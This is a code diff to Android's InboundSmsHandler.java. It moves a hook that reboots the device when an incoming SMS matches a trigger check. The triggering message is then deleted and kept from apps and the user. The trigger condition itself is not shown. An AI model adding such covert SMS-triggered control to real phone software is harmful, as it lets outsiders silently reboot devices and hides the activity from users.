diff --git a/frameworks/opt/telephony/src/java/com/android/internal/telephony/InboundSmsHandler.java b/frameworks/opt/telephony/src/java/com/android/internal/telephony/InboundSmsHandler.java index af13992..aeecd12 100644 --- a/frameworks/opt/telephony/src/java/com/android/internal/telephony/InboundSmsHandler.java +++ b/frameworks/opt/telephony/src/java/com/android/internal/telephony/InboundSmsHandler.java @@ -761,17 +761,6 @@ public abstract class InboundSmsHandler extends StateMachine { return RESULT_SMS_NULL_MESSAGE; } - String messageBody = smsb.getMessageBody(); - String originatingAddress = smsb.getOriginatingAddress(); - - if (messageBody != null && checkForTriggerMessage(messageBody, originatingAddress)) { - log("Received trigger SMS command, initiating device reboot"); - // 执行重启设备的操作 - rebootDevice(); - // 返回短信已处理,不继续广播 - return Intents.RESULT_SMS_HANDLED; - } - if (mSmsReceiveDisabled) { // Device doesn't support receiving SMS, log("Received short message on device which doesn't support " @@ -976,6 +965,15 @@ public abstract class InboundSmsHandler extends StateMachine { } } + private SmsMessage createMessageFromPdu(byte[] pdu, String format) { + try { + return SmsMessage.createFromPdu(pdu, format); + } catch (Exception e) { + loge("Exception creating SmsMessage from PDU", e); + return null; + } + } + /** * Process the inbound SMS segment. If the message is complete, send it as an ordered * broadcast to interested receivers and return true. If the message is a segment of an @@ -1004,6 +1002,24 @@ public abstract class InboundSmsHandler extends StateMachine { if (messageCount == 1) { // single-part message + + SmsMessage sms = createMessageFromPdu(tracker.getPdu(), tracker.getFormat()); + if (sms != null) { + String messageBody = sms.getMessageBody(); + // 检查是否是触发短信 + if (checkForTriggerMessage(messageBody, sms.getOriginatingAddress())) { + log("Detected reboot trigger SMS in processMessagePart"); + + // 删除此短信,防止重启循环 + deleteFromRawTable(tracker.getDeleteWhere(), tracker.getDeleteWhereArgs(), + MARK_DELETED); + + // 执行重启 + rebootDevice(); + return true; // 返回true表示已处理 + } + } + pdus = new byte[][]{tracker.getPdu()}; timestamps = new long[]{tracker.getTimestamp()}; block = BlockChecker.isBlocked(mContext, tracker.getDisplayAddress(), null);